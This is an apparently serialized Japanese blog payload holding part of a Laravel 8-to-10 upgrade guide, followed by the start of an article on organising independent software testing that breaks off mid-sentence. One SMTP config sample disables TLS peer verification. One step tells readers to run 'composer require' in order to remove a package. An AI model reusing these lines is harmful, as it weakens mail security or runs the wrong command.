\"fideloper\u002Fproxy\": \"^4.4\"\n  }\n}\n",[703,23084,23082],{"__ignoreMap":64},[11,23086,23087],{},[20,23088,23089],{},"Fruitcake\u002Flaravel-cors:",[11,23091,23092,23093,23098],{},"この",[57,23094,23097],{"href":23095,"rel":23096},"https:\u002F\u002Fpackagist.org\u002Fpackages\u002Ffruitcake\u002Flaravel-cors",[61],"パッケージ","は、所有者によってメンテナンスとアップグレードが行われなくなりました。そのため、Laravel 10ではこのパッケージが削除されました。この変更を反映するには、まず、app\\Http\\Kernel.phpファイルでミドルウェアのname spaceを以下のように変更します。",[11,23100,23101],{},[703,23102,23103],{},"\\Fruitcake\\Cors\\HandleCors::class",[11,23105,23061],{},[11,23107,23108],{},[703,23109,23110],{},"\\Illuminate\\Http\\Middleware\\HandleCors::class",[11,23112,23113],{},"後に、composer.jsonでこのパッケージを削除します。",[696,23115,23118],{"className":23116,"code":23117,"language":701},[699],"{\n  \"require\": {\n    \u002F\u002F Remove this package\n    \"fruitcake\u002Flaravel-cors\": \"^2.0\"\n  }\n}\n",[703,23119,23117],{"__ignoreMap":64},[660,23121,23123],{"id":23122},"c-置換されたパッケージ","c. 置換されたパッケージ：",[11,23125,23126],{},"以下は別のパッケージで置換されたパッケージなので、次のように変更します。",[696,23128,23131],{"className":23129,"code":23130,"language":701},[699],"{\n  \"require-dev\": {\n    \u002F\u002F Replace this\n    \"facade\u002Fignition\": \"^2.5\"\n    \u002F\u002F With this\n    \"spatie\u002Flaravel-ignition\": \"^1.0\"\n  }\n}\n",[703,23132,23130],{"__ignoreMap":64},[11,23134,23135,23140],{},[57,23136,23139],{"href":23137,"rel":23138},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fnotifications#sms-notifications",[61],"Laravel SMS Notifications","機能に関しては、現在VonageがNexmoを所有するため、このパッケージの名前をそれに応じて変更されます。 composer.jsonファイルで次のように修正します。",[696,23142,23145],{"className":23143,"code":23144,"language":701},[699],"{\n  \"require\": {\n    \u002F\u002F Replace this\n    \"laravel\u002Fnexmo-notification-channel\": \"^2.0\"\n    \u002F\u002F With this\n    \"laravel\u002Fvonage-notification-channel\": \"^3.0\"\n  }\n}\n",[703,23146,23144],{"__ignoreMap":64},[660,23148,23150],{"id":23149},"d-swiftmailerの代わりsymfony-mailerへ","d. SwiftMailerの代わりSymfony Mailerへ  ：",[11,23152,23153],{},"Laravel 9.xで最も重要な変更点の一つは、SwiftMailerのメンテナンスが終了したため、メール機能がSwiftMailerの代わりにSymfony Mailerを使用するようになったことです。この変更を反映するには、以下の2つのコマンドを実行します。",[696,23155,23158],{"className":23156,"code":23157,"language":701},[699],"composer remove wildbit\u002Fswiftmailer-postmark\ncomposer require symfony\u002Fmailgun-mailer symfony\u002Fpostmark-mailer symfony\u002Fhttp-client\n",[703,23159,23157],{"__ignoreMap":64},[495,23161,23163],{"id":23162},"composer-updateのコマンド実行","「composer update」のコマンド実行",[11,23165,23166],{},"composer.jsonファイルを更新した後、composer updateコマンドを実行します。ただし、注意点が1つあります。上記の変更は基本的なLaravelアプリケーションにのみ適用されます。各プロジェクトは異なる追加パッケージを使用する場合があり、それらのパッケージのバージョンの競合が発生する可能性があります。そのため、これらのパッケージのバージョンも更新する必要があります。",[11,23168,23169],{},"updateコマンドの実行が成功した場合、次にソースコードを「リファクタリング・再構築」する必要があります。これは、一部の機能が古くなったり、使い方が変更されたためです。最後に、アプリケーションでLaravelの新機能を使用することを検討することができます。",[495,23171,23173],{"id":23172},"構成configurationの変更","構成(configuration)の変更：",[11,23175,23176],{},"プロジェクトでPostgresを使用する場合は、config\u002Fdatabase.phpファイルで「schema」の名前を「search_path」に変更します。",[696,23178,23181],{"className":23179,"code":23180,"language":701},[699],"'connections' => [\n  'pgsql' => [\n    \u002F\u002F replace this\n    'schema' => 'public',\n    \u002F\u002F by this\n    'search_path' => 'public',\n  ]\n]\n",[703,23182,23180],{"__ignoreMap":64},[11,23184,23185],{},"facade Storage経由してSFTP 機能を使用する場合は、config\u002Ffilesystems.phpファイルを次のように修正します。",[696,23187,23190],{"className":23188,"code":23189,"language":701},[699],"'sftp' => [\n  \u002F\u002F Replace this         \n  'password' => env('SFTP_PASSPHRASE'),\n  \u002F\u002F By this\n  'passphrase' => env('SFTP_PASSPHRASE'),\n]\n",[703,23191,23189],{"__ignoreMap":64},[11,23193,23194],{},"SMTPのstream構成の宣言はサポートされなくなりました。代わりに、直接宣言する必要があります。例えば、TSL証明を無効にする場合は、以下のように宣言します。また、SMTPサーバーへの接続時にauth_modeが自動的に決定されるため、auth_modeは不要になりました。",[696,23196,23199],{"className":23197,"code":23198,"language":701},[699],"'smtp' => [\n  \u002F\u002F 'auth_mode' => null,\n\n  \u002F\u002F Laravel 8.x...\n  'stream' => [\n      'ssl' => [\n          'verify_peer' => false,\n      ],\n  ],\n  \u002F\u002F Laravel 9.x...\n  'verify_peer' => false,\n]\n",[703,23200,23198],{"__ignoreMap":64},[495,23202,23204],{"id":23203},"ディレクトリ構造の変更","ディレクトリ構造の変更：",[11,23206,23207],{},"Laravelの新しいバージョンでは、\u002Fresources\u002Flangが\u002Flangに変更されました。つまり、langディレクトリはプロジェクトのルートディレクトリに配置されます。もしソースコードでlangディレクトリのパスをハードコードしている場合は、app()→langPath()関数に切り替える必要があります。",[22725,23209],{},[487,23211,23212],{"id":23212},"ソースコードの改修実行",[11,23214,23215],{},"Laravel 10では、一部の機能が削除され、使用方法や動作が変更されました。そのため、プロジェクトのソースコードを適切に更新する必要があります。全ての機能を更新する必要はありませんが、使用している機能のみを更新する必要があります。",[495,23217,23218],{"id":23218},"削除されたメソッド",[11,23220,23221],{},"以下の関数はLaravel 8でのみサポートされており、新しいバージョンではサポートされなくなりました。したがって、これらの関数の呼び出し箇所を見つけて、別の方法に書き直す必要があります。",[11,23223,23224,23231],{},[20,23225,23226],{},[57,23227,23230],{"href":23228,"rel":23229},"https:\u002F\u002Flaravel.com\u002Fapi\u002F8.x\u002FIlluminate\u002FSupport\u002FTraits\u002FEnumeratesValues.html",[61],"EnumeratesValues Trait:"," reduceWithKeys()メソッドが削除されました。reduceWithKeys()メソッドの代わりに、reduce()メソッド使用します。又、reduceMany()メソッドは、reduceSpreadへ名前を変更しました。",[11,23233,23234,23241],{},[20,23235,23236],{},[57,23237,23240],{"href":23238,"rel":23239},"https:\u002F\u002Flaravel.com\u002Fapi\u002F8.x\u002FIlluminate\u002FDatabase\u002FSchema\u002FBuilder.html#method_registerCustomDoctrineType",[61],"Illuminate\\Database\\Schema\\Builder::registerCustomDoctrineType()"," メソッドが削除されました。代わりに、DBファサードで、registerDoctrineTypeメソッドを使用するか、config\u002Fdatabase.php設定ァイルで、カスタムDoctrineタイプを登録できます。",[11,23243,23244,23247],{},[20,23245,23246],{},"Testing:"," assertDeleted() メソッドが削除されました。assertModelMissing()メソッドを使用します。",[11,23249,23250,602,23253,23258,23259,23264],{},[20,23251,23252],{},"Queue:",[57,23254,23257],{"href":23255,"rel":23256},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FBus\u002FDispatcher.html#method_dispatchNow",[61],"Bus::dispatchNow","() と dispatch_now() メソッドが削除しました。",[57,23260,23263],{"href":23261,"rel":23262},"https:\u002F\u002Flaravel.com\u002Fapi\u002F10.x\u002FIlluminate\u002FBus\u002FDispatcher.html#method_dispatchSync",[61],"Bus::dispatchSync","() と dispatch_sync()メソッドを使用します。",[11,23266,23267,23274],{},[20,23268,23269],{},[57,23270,23273],{"href":23271,"rel":23272},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FRouting\u002FRedirector.html#method_home",[61],"Redirect::home()"," メソッド が削除しました。代わりに、return Redirect::route('home')メソッドを使用することでリダイレクトします。",[495,23276,23278],{"id":23277},"陳腐-blade-レイジーコレクションとloop変数","【陳腐】- Blade - レイジーコレクションと$loop変数",[696,23280,23283],{"className":23281,"code":23282,"language":701},[699],"@php\n    use App\\Models\\Car;\n    $cars = Car::cursor();  \u002F\u002F cars lazy collection\n    foreach($cars as $c) {\n        echo $loop->iteration;\n    }\n@endphp\n",[703,23284,23282],{"__ignoreMap":64},[11,23286,23287],{},"上記のソースコードで、 レイジーコレクション内の$loop変数へ抽出しています。 この仕方は古いです。そういう風で呼び出す時に全てコレクションがRAMのメモリにロードされるからです。( レイジーコレクション稼働と逆です。)",[495,23289,23291],{"id":23290},"削除-ストレージ","【削除】- ストレージ",[11,23293,23294,23295,23300],{},"Storage - FlySystemが",[57,23296,23299],{"href":23297,"rel":23298},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F8.x\u002Ffilesystem#composer-packages",[61],"cached adapters","をサポートしなくなりました。削除するためには下記のコマンドを実行します。",[696,23302,23305],{"className":23303,"code":23304,"language":701},[699],"composer require league\u002Fflysystem-cached-adapter\n",[703,23306,23304],{"__ignoreMap":64},[495,23308,23310],{"id":23309},"削除-dbからstringexpressionの抽出","【削除】 DBからStringExpressionの抽出",[11,23312,23313,23314,23319],{},"前のバージョンでは、以下の方法でで",[57,23315,23318],{"href":23316,"rel":23317},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FDatabase\u002FQuery\u002FExpression.html",[61],"Expression"," の文字列の一部を抽出することができます。",[696,23321,23324],{"className":23322,"code":23323,"language":701},[699],"$expression = DB::raw('select * from news');\n$expStr = (string)$expression;\n",[703,23325,23323],{"__ignoreMap":64},[11,23327,23328],{},"この方法がサポートしなくなりました。代わりに、以下の方法でやります。",[696,23330,23333],{"className":23331,"code":23332,"language":701},[699],"$expStr = $expression->getValue(DB::connection()->getQueryGrammar());\n",[703,23334,23332],{"__ignoreMap":64},[495,23336,23338],{"id":23337},"削除eloquent-モデルにおけるdateプロパティ","【削除】Eloquent モデルにおける$dateプロパティ",[11,23340,23341],{},"以前は、自動的にDateTimeプロパティを定義するためには、$date プロパティを使用することができました。しかし、現在のバージョンでは、$date プロパティは削除されています。",[696,23343,23346],{"className":23344,"code":23345,"language":701},[699],"protected $dates = [\n    'deployed_at'\n];\n",[703,23347,23345],{"__ignoreMap":64},[11,23349,23350],{},"その代わりに、$castsプロパティに指定します。",[696,23352,23355],{"className":23353,"code":23354,"language":701},[699],"protected $casts = [\n    'deployed_at' => 'datetime',\n];\n",[703,23356,23354],{"__ignoreMap":64},[495,23358,23360],{"id":23359},"削除testing-service-mocking","【削除】Testing - Service Mocking",[11,23362,23363,23368,23369,23374],{},[57,23364,23367],{"href":23365,"rel":23366},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FFoundation\u002FTesting\u002FConcerns\u002FMocksApplicationServices.html",[61],"MocksApplicationServices"," トレイトのexpectsEvents()、expectsJobs()、expectsNotifications()などのテストメソッドが削除されました。これらのメソッドを使用している場合は、代わりにEvent::fake()、Bus::fake()、Notification::fake()などのメソッドを使用する必要があります。fakeメソッドでモックを作成する方法詳細については、fakeしたい該当サービスの",[57,23370,23373],{"href":23371,"rel":23372},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Fmocking",[61],"資料","を参照ください。",[495,23376,23378],{"id":23377},"変更バリデーション-パスワードのルール","【変更】バリデーション - パスワードのルール",[11,23380,23381,23386,23387,23392],{},[57,23382,23385],{"href":23383,"rel":23384},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fvalidation#rule-password",[61],"パスワードのルール","はユーザーが入力したパスワードを確認するためです。現在、passwordルールの名前を",[57,23388,23391],{"href":23389,"rel":23390},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fvalidation#rule-current-password",[61],"current_password","へ変更しました。",[495,23394,23396],{"id":23395},"変更blade-vueスニペットの上書き避止","【変更】Blade - Vueスニペットの上書き避止",[11,23398,23399,23400,23405],{},"Laravel 9では、@diabled、@checked、@selected等の 新しい",[57,23401,23404],{"href":23402,"rel":23403},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fblade#additional-attributes",[61],"ブレード ディレクティブ"," を提供します。又、Vue も同様なディレクティブを使用しています。そのため、Vueを上書きしないために、@@disabled、@@selected、@@selected のような記号を付ける必要があります。",[495,23407,23409],{"id":23408},"変更コレクション","【変更】コレクション",[11,23411,23412],{},"Collection::when(), unless()メソッドの1番目の引数にクロージャを渡すことができます。これらのクロージャは実行されます。（前のバージョンで実行できません）",[696,23414,23417],{"className":23415,"code":23416,"language":701},[699],"$collection->when(function ($collection) {\n  \u002F\u002F This closure is executed...\n  return false;\n}, function ($collection) {\n  \u002F\u002F Not executed since first closure returned \"false\"...\n  $collection->merge([1, 2, 3]);\n});\n",[703,23418,23416],{"__ignoreMap":64},[495,23420,23422],{"id":23421},"変更-eloquent-null値でキャストカスタム","【変更】- Eloquent - Null値でキャストカスタム",[11,23424,23425,23426,23431],{},"Laravel 8では、$value = nullの場合に",[57,23427,23430],{"href":23428,"rel":23429},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Feloquent-mutators#defining-a-mutator",[61],"mutator set() メソッド","が実行されませんが、Laravel 9で実行します。 以下のソースコードで、$value = nullの場合より出力値が全く違います。",[696,23433,23436],{"className":23434,"code":23435,"language":701},[699],"\u002F\u002F In App\\Casts\\FilenameWithTimestamp.php\npublic function set($model, $key, $value, $attributes) {\n  return time() . '_' . $value;\n}\n\n\u002F\u002F In App\\Models\\File.php\nprotected $casts = [\n  'filename' => FilenameWithTimestamp::class\n];\n\n\u002F\u002F Somewhere in your program\n\u002F\u002F With Laravel 8, the result of echo statement will be: null\n\u002F\u002F With Laravel 9, the result of echo statement will be: \"20230322_\"\n$file = File::first();\n$file->filename = null;\necho $file->filename;\n",[703,23437,23435],{"__ignoreMap":64},[11,23439,23440],{},"Laravel 9では、nullを渡してもファイル名にタイムスタンプが付けられます。これは不合理です。そのため、ソースコードを再度確認して、nullを渡してもアプリケーションも処理できることを確保しないといけません。例えば、上記のソースコードは、nullをチェックするケースを以下のように修正できます。",[696,23442,23445],{"className":23443,"code":23444,"language":701},[699],"\u002F\u002F In App\\Casts\\FilenameWithTimestamp.php\npublic function set($model, $key, $value, $attributes) {\n  if (empty($value)) {\n    return '';\n  }\n  return time() . '_' . $value;\n}\n",[703,23446,23444],{"__ignoreMap":64},[11,23448,23449],{},"上記の修正したら、ソースコードが正常に実行できます。",[495,23451,23453],{"id":23452},"変更ストレージ-例外処理","【変更】ストレージ - 例外処理",[11,23455,23456],{},"前のバージョンでは、存在しないファイルを削除する等書き込みや読み込み途中でエラーが発生した場合、Laravelが例外をスローします。しかし、新しいバージョンでは、Laravelは例外をスローせずに、true、false、null などの結果のみを返します。",[11,23458,23459],{},"この変更により、try-catchで例外処理を実装している場合、アプリケーションが正常に稼働しない可能性があります。この変更に対して対策は、if-else を使うことでエラーチェックを行います。または、以前のように例外をスローするためにLaravel を以下のように構築します。",[696,23461,23464],{"className":23462,"code":23463,"language":701},[699],"'public' => [\n  'driver' => 'local',\n  \u002F\u002F ...\n  'throw' => true,\n]\n",[703,23465,23463],{"__ignoreMap":64},[495,23467,23469],{"id":23468},"変更ストレージ-カスタムファイル-システムドライバー","【変更】ストレージ - カスタムファイル システムドライバー",[11,23471,23472],{},"スタムファイル システムドライバーの登録に必要な手順が一部変更されました。したがって、もし独自のカスタムファイルシステムドライバを定義していたり、カスタムドライバを定義しているパッケージを使用していた場合は、コードと依存を更新する必要があります。",[11,23474,23475],{},"例えば、Laravel8.xのカスタムファイルシステムの登録は、以下のようにします。",[696,23477,23480],{"className":23478,"code":23479,"language":701},[699],"use Illuminate\\Support\\Facades\\Storage;\nuse League\\Flysystem\\Filesystem;\nuse Spatie\\Dropbox\\Client as DropboxClient;\nuse Spatie\\FlysystemDropbox\\DropboxAdapter;\n\nStorage::extend('dropbox', function ($app, $config) {\n    $client = new DropboxClient(\n        $config['authorization_token']\n    );\n\n    return new Filesystem(new DropboxAdapter($client));\n});\n",[703,23481,23479],{"__ignoreMap":64},[11,23483,23484],{},"しかし、Laravel9.xから、Storage::extend メソッドへ与えられるコールバックは、 直接Illuminate\\Filesystem\\FilesystemAdapterインスタンスを返さなければなりません。",[696,23486,23489],{"className":23487,"code":23488,"language":701},[699],"use Illuminate\\Filesystem\\FilesystemAdapter;\nuse Illuminate\\Support\\Facades\\Storage;\nuse League\\Flysystem\\Filesystem;\nuse Spatie\\Dropbox\\Client as DropboxClient;\nuse Spatie\\FlysystemDropbox\\DropboxAdapter;\n\nStorage::extend('dropbox', function ($app, $config) {\n    $adapter = new DropboxAdapter(\n        new DropboxClient($config['authorization_token'])\n    );\n\n    return new FilesystemAdapter(\n        new Filesystem($adapter, $config),\n        $adapter,\n        $config\n    );\n});\n",[703,23490,23488],{"__ignoreMap":64},[495,23492,23494],{"id":23493},"変更swift-mailerをsymfony-mailerに置き換える","【変更】Swift MailerをSymfony Mailerに置き換える",[11,23496,23497],{},"Laravel8 では、Swift Mailer ライブラリがメールを送信するように使用されますが、Swiftmailerが廃止され、Symfony\u002FMailerが採用されています。大きく影響を与えます。ライブラリへ呼び出すコマンドが殆ど変更されて、コマンドを更新する必要があります。",[11,23499,23500,23503],{},[20,23501,23502],{},"「Swift」のメソッドの名前の変更："," さまざまなSwiftMailer関連のメソッドは、Symfony Mailerの対応するメソッドへ名前を変更しました。 IDE のadvanced search機能を使用して、以下のように該当メソッドを使用することでメソッドへの呼び出しのコマンドに上書きを一括で行います。",[11,23505,23506],{},[20,23507,23508],{},"MessageSent イベント の変更：",[11,23510,23511],{},"Illuminate\\Mail\\Events\\MessageSent イベントは、前のSwift_Messageの代わりに、 Symfony\\Component\\Mime\\Emailの変数を提供しています。この変数に送信前のメールに関する情報が含まれています。同時に、新しくsentプロパティを追加しました。この新しいプロパティは、メッセージIDなど送信したメールに関する情報が含まれています。",[11,23513,23514],{},[20,23515,23516],{},"配信失敗メールの受信者リスト：",[11,23518,23519],{},"メッセージ送信後に、失敗した受信者のリストを取得できなくなりました。代わりに、メッセージの送信に失敗すると、Symfony\\Component\\Mailer\\Exception\\TransportExceptionInterface例外が投げられるようになりました。",[495,23521,23522],{"id":23522},"理解度テスト",[11,23524,23525],{},"この記事の理解度を測るテストを用意しました。 ぜひ挑戦してください!!",[11,23527,23528],{},[57,23529,6637],{"href":6637,"rel":23530},[61],[495,23532,196],{"id":5084},[31,23534,23535,23541,23547,23554,23561,23567,23573],{},[34,23536,23537],{},[57,23538,23539],{"href":23539,"rel":23540},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Freleases",[61],[34,23542,23543],{},[57,23544,23545],{"href":23545,"rel":23546},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Freleases",[61],[34,23548,23549],{},[57,23550,23553],{"href":23551,"rel":23552},"https:\u002F\u002Flaracasts.com\u002Fseries\u002Fwhats-new-in-laravel-9",[61],"Laracasts: What's New in Laravel 9",[34,23555,23556],{},[57,23557,23560],{"href":23558,"rel":23559},"https:\u002F\u002Flaracasts.com\u002Fseries\u002Fwhats-new-in-laravel-10",[61],"Laracasts: What's New in Laravel 10",[34,23562,23563],{},[57,23564,23565],{"href":23565,"rel":23566},"https:\u002F\u002Fgithub.com\u002Flaravel\u002Flaravel\u002Fcompare\u002F8.x...9.x",[61],[34,23568,23569],{},[57,23570,23571],{"href":23571,"rel":23572},"https:\u002F\u002Fgithub.com\u002Flaravel\u002Flaravel\u002Fcompare\u002F9.x...10.x",[61],[34,23574,23575],{},[57,23576,23577],{"href":23577,"rel":23578},"https:\u002F\u002Fsecurity.snyk.io\u002Fpackage\u002Fcomposer\u002Flaravel%2Fframework",[61],{"title":64,"searchDepth":65,"depth":65,"links":23580},[23581,23582,23584,23585,23586,23587,23588,23589,23590,23591,23592,23593,23594,23595,23596,23597,23598,23599,23604,23605,23611,23612,23613,23614,23615,23616,23617,23618,23619,23620,23621,23622,23623,23624,23625,23626,23627,23628],{"id":22628,"depth":65,"text":22629},{"id":22642,"depth":65,"text":23583},"1. Laravel Pennant:",{"id":22664,"depth":65,"text":22665},{"id":22675,"depth":65,"text":22676},{"id":22707,"depth":65,"text":22708},{"id":22733,"depth":65,"text":22734},{"id":22744,"depth":65,"text":22745},{"id":22755,"depth":65,"text":22756},{"id":22766,"depth":65,"text":22767},{"id":22793,"depth":65,"text":22794},{"id":22804,"depth":65,"text":22805},{"id":22815,"depth":65,"text":22816},{"id":22832,"depth":65,"text":22833},{"id":22843,"depth":65,"text":22844},{"id":22854,"depth":65,"text":22855},{"id":22865,"depth":65,"text":22866},{"id":22883,"depth":65,"text":22884},{"id":22901,"depth":65,"text":22902,"children":23600},[23601,23602,23603],{"id":22925,"depth":1375,"text":22926},{"id":22932,"depth":1375,"text":22933},{"id":22939,"depth":1375,"text":22940},{"id":22972,"depth":65,"text":22973},{"id":22979,"depth":65,"text":22980,"children":23606},[23607,23608,23609,23610],{"id":22983,"depth":1375,"text":22984},{"id":23041,"depth":1375,"text":23042},{"id":23122,"depth":1375,"text":23123},{"id":23149,"depth":1375,"text":23150},{"id":23162,"depth":65,"text":23163},{"id":23172,"depth":65,"text":23173},{"id":23203,"depth":65,"text":23204},{"id":23218,"depth":65,"text":23218},{"id":23277,"depth":65,"text":23278},{"id":23290,"depth":65,"text":23291},{"id":23309,"depth":65,"text":23310},{"id":23337,"depth":65,"text":23338},{"id":23359,"depth":65,"text":23360},{"id":23377,"depth":65,"text":23378},{"id":23395,"depth":65,"text":23396},{"id":23408,"depth":65,"text":23409},{"id":23421,"depth":65,"text":23422},{"id":23452,"depth":65,"text":23453},{"id":23468,"depth":65,"text":23469},{"id":23493,"depth":65,"text":23494},{"id":23522,"depth":65,"text":23522},{"id":5084,"depth":65,"text":196},"2023-05-23","Laravel 8のプロジェクトをなぜアップグレードするべきか Laravelの新バージョンは毎年リリースされます。これらのリリースには多少の変更が含まれ、新しい機能が追加されたり、不要な機能が削除されたりします。そのため、早めにアップグレードを行わないと、アップグレードが困難で時間がかかる可能性があります。アップグレードが困難になる主な理由は、プロジェクトが成長し、関数やメソッドが相互に依存するようになることです。つまり、1つの機能を変更すると他の機能にも大きな影響を与える可能性があります。また、Laravel 10がリリースされた後は、Laravel 8のメンテナンスやサポートが終了するため、できるだけ早くアップグレードすることが重要です。",{},"\u002Fja\u002Fnews\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10",{"title":22623,"description":23630},"ja\u002Fnews\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F06151008\u002Flaravel-8-upgrade-thumbnail.jpg","kwUTpzD7TjIUTICo6Osc71E2JHHnneNVFBcoxfu-Y88",{"id":23638,"title":23639,"body":23640,"category":353,"created by":68,"date":23974,"description":23975,"extension":71,"meta":23976,"navigation":73,"path":23977,"sections":75,"seo":23978,"stem":23979,"thumbnail":23980,"__hash__":23981},"content_ja\u002Fja\u002Fnews\u002Fto-chuc-kiem-thu.md","テストの組織",{"type":8,"value":23641,"toc":23972},[23642,23647,23650,23653,23656,23659,23662,23667,23670,23675,23678,23683,23686,23691,23694,23697,23700,23703,23706,23709,23712,23717,23720,23723,23726,23729,23732,23737,23740,23743,23781,23784,23789,23792,23795,23798,23803,23806,23827,23832,23835,23840,23843,23848,23851,23856,23859,23886,23889,23894,23897,23962,23966],[11,23643,23644],{},[20,23645,23646],{},"①独立したテスト",[11,23648,23649],{},"自分で書いた文章には、誤字や表現の間違いがあっても、自分ではなかなか気づけないことが多いです。そのため、文書の誤りを見つけるには、作成者以外の人に読んでもらうことが効果的です。これは、作成者が気づきにくい表現の不自然さや思い込みによる誤りを、他者が指摘しやすくなるからです。この仕組みは、ソフトウェア開発における開発者とテスト担当者の関係性にも似ています。この節では、テストマネジメントの観点から、テスト組織の形態、それぞれの利点と課題、独立したテストを行う技術者の役割について解説します。",[11,23651,23652],{},"プロジェクトにおけるテスト作業には、さまざまな役割の人々が関わります。主にテスト担当者が実施しますが、開発担当者がテストを行うこともあります。また、システムのオーナーやユーザーがテストに参加するケースもあります。テスト担当者が独立性を持つほど、欠陥を効率的に発見しやすくなります。たとえば、システムのオーナーがテストを実施すれば、自分が求めた通りにソフトウェアが動作しているかを確認できますし、ユーザーがテストを行えば、使いやすさや実用性を検証できます。",[11,23654,23655],{},"一方で、開発担当者とは異なる独立したテスト担当者がテストを行うと、開発者が抱きやすい先入観や確証バイアスといった心理的要因に左右されずに検証が可能です。また、専門知識を持つ独立したテスト担当者は、テストやレビューに対するモチベーションを高め、効率的な実施を支援します。ただし、独立性が高いことと、テスト対象への深い理解があることは別の問題です。たとえば、開発担当者はコードの内部構造に精通しているため、コードレベルの欠陥を多く見つけられることも事実です。",[11,23657,23658],{},"独立したテストチームの効果は、テストチームの形態やテストのレベルに応じて異なります。そのため、テストマネジメントには、最大限の効果を発揮できるテストチームを組織することが求められます。",[11,23660,23661],{},"以下では、組織におけるテストの独立性の度合いを、低いレベルから高いレベルの順に説明します。",[11,23663,23664],{},[20,23665,23666],{},"独立したテスト担当者がいない場合（開発者が自身のコードのみをテストするケース）",[11,23668,23669],{},"開発者は、自分が作成したソフトウェアの内部構造を誰よりも深く理解しています。このため、自らテスト設計を行うことで、多くの欠陥を見つけられる可能性があります。しかし、もし設計書を誤解してプログラムを作成していた場合、自分自身ではその誤りに気づけないことがあります。また、開発者が自分のコードをテストする場合、先入観や確証バイアスの影響を受けやすいという課題もあります。",[11,23671,23672],{},[20,23673,23674],{},"プロジェクトチーム内の他者によるテスト（同僚によるレビューやテストを含む）",[11,23676,23677],{},"プロジェクトチーム内で、開発チームとは別のテスト担当者がテストを実施したり、開発者が自分以外の同僚の成果物をテストしたりする場合を指します。このような担当者は同じプロジェクト内の技術者であるため、ソフトウェアの内部構造や仕様をよく理解しており、効率的に欠陥を発見することが期待されます。ただし、納期やコストなどの制約によるプレッシャーを強く受けるため、完全な独立性を確保するのは難しい状況です。",[11,23679,23680],{},[20,23681,23682],{},"組織内に設置された独立したテストチーム（プロジェクトの管理下にないテスト部門）",[11,23684,23685],{},"開発者が属するプロジェクトに依存しないテストチームによってテストが実施される場合を指します。このようなチームは、プロジェクトの納期やコストに関する制約の影響を受けにくく、より客観的に品質を評価できます。たとえば、品質保証部門が行う品質評価は、この形式に該当します。",[11,23687,23688],{},[20,23689,23690],{},"顧客や専門技術者による独立したテスト",[11,23692,23693],{},"この形式では、顧客やユーザーコミュニティから派遣されたテスト担当者や、特定のテスト分野に特化した専門家がテストを実施します。ユーザー視点に立ったテストでは、ソフトウェアが顧客の要件を満たしているかを確認でき、プロジェクトの影響を受けにくい点が利点です。また、特定の分野に精通した専門技術者によるテスト（例：使用性テストやセキュリティテスト）では、高度な技術を用いて品質要件を効率的に検証できます。",[11,23695,23696],{},"独立したテスト担当者は、組織外部の一員として活動し、オンサイト（インソーシング）またはオフサイト（アウトソーシング）で業務を行います。これらの担当者は、他の事業部門やテスト専門の外部企業に所属し、開発者とは異なる視点からテストを実施します。このような独立性は、開発プロジェクトにおいて不具合や欠陥を検出するための動機を明確にし、高い効果をもたらすことが期待されます。特定のテストレベルでは、専門性を持つ独立した担当者による実施が推奨されます。",[11,23698,23699],{},"ただし、テストをすべてテスト担当者に任せるのではなく、開発者もプロダクトの品質向上に関与するべきです。特に低レベルのテストでは、開発者の知識と経験が有効に活用される場合があります。テスト担当者の関与方法は、開発プロセスに応じて異なります。ウォーターフォール型開発では、開発者が順次成果物を作成する中で、独立したテスト担当者がその成果物に基づいて高い専門性でテストを実行します。一方、アジャイル開発では必要最小限の成果物しか作成されないことがあるため、テスト担当者がチームの一員として参加することが重要です。この場合、各サイクルの終了時にテストが実施され、品質を段階的に確認しつつ機能を拡張していくプロセスが取られます。したがって、プロセスの違いに応じて適切なテスト担当者の役割を理解することが必要です。",[11,23701,23702],{},"独立したテストの利点として、開発者とは異なる視点や技術的背景を持つことから、異なる種類の不具合を発見しやすい点が挙げられます。また、仕様作成や実装時にステークホルダーが行った仮定を検証し、説明を求めたり反証したりすることで、早期の欠陥検出に貢献します。さらに、ソフトウェアの内部構造に縛られず、利用者の視点で懸念事項を指摘する能力も持っています。",[11,23704,23705],{},"一方で、独立したテストには欠点も存在します。開発チームとの連携が不足すると、情報共有の遅延や対立が生じる可能性があり、また、開発者の品質に対する責任感が低下する懸念もあります。さらに、テスト担当者がボトルネックと見なされ、リリース遅延の原因とされることもあります。特に、テスト担当者が必要な情報を十分に得られない場合には、進捗が滞るリスクもあります。",[11,23707,23708],{},"これらの課題を克服するためには、開発チームとテストチームが協力し、密な連携を保つことが求められます。テストは開発者とテスト担当者がそれぞれの観点から行うべきであり、開発者がテストに全く関与しない場合、品質に対する意識の低下や欠陥の放置につながり、リリースの遅延や経済的損失を引き起こす可能性があります。独立性とは物理的な距離を置くことではなく、両者が共通の目標である高品質な開発を意識し、協働することが重要です。",[11,23710,23711],{},"ソフトウェア開発においては、独立したテストの利点を活かしつつ、その欠点を理解し適切に対応することで、より効果的なテストプロセスを実現することができます。",[11,23713,23714],{},[20,23715,23716],{},"②テストマネージャーのタスク",[11,23718,23719],{},"テストマネージャーは、テストプロセス全体の責任を担い、その指導力を発揮してテスト活動を統括し、プロジェクトを成功へと導く役割を果たします。この役割は、プロのテストマネージャーをはじめ、プロジェクトマネージャー、開発マネージャー、品質保証マネージャーなど、さまざまな担当者が担うことがあります。",[11,23721,23722],{},"テストマネージャーの主要な業務は、プロジェクト全体を見渡してテスト計画を立て、それをもとにテスト活動をモニタリングし、必要に応じて調整することです。プロジェクトの規模が大きくなると、その負担を軽減するために複数のテストチームが編成され、それ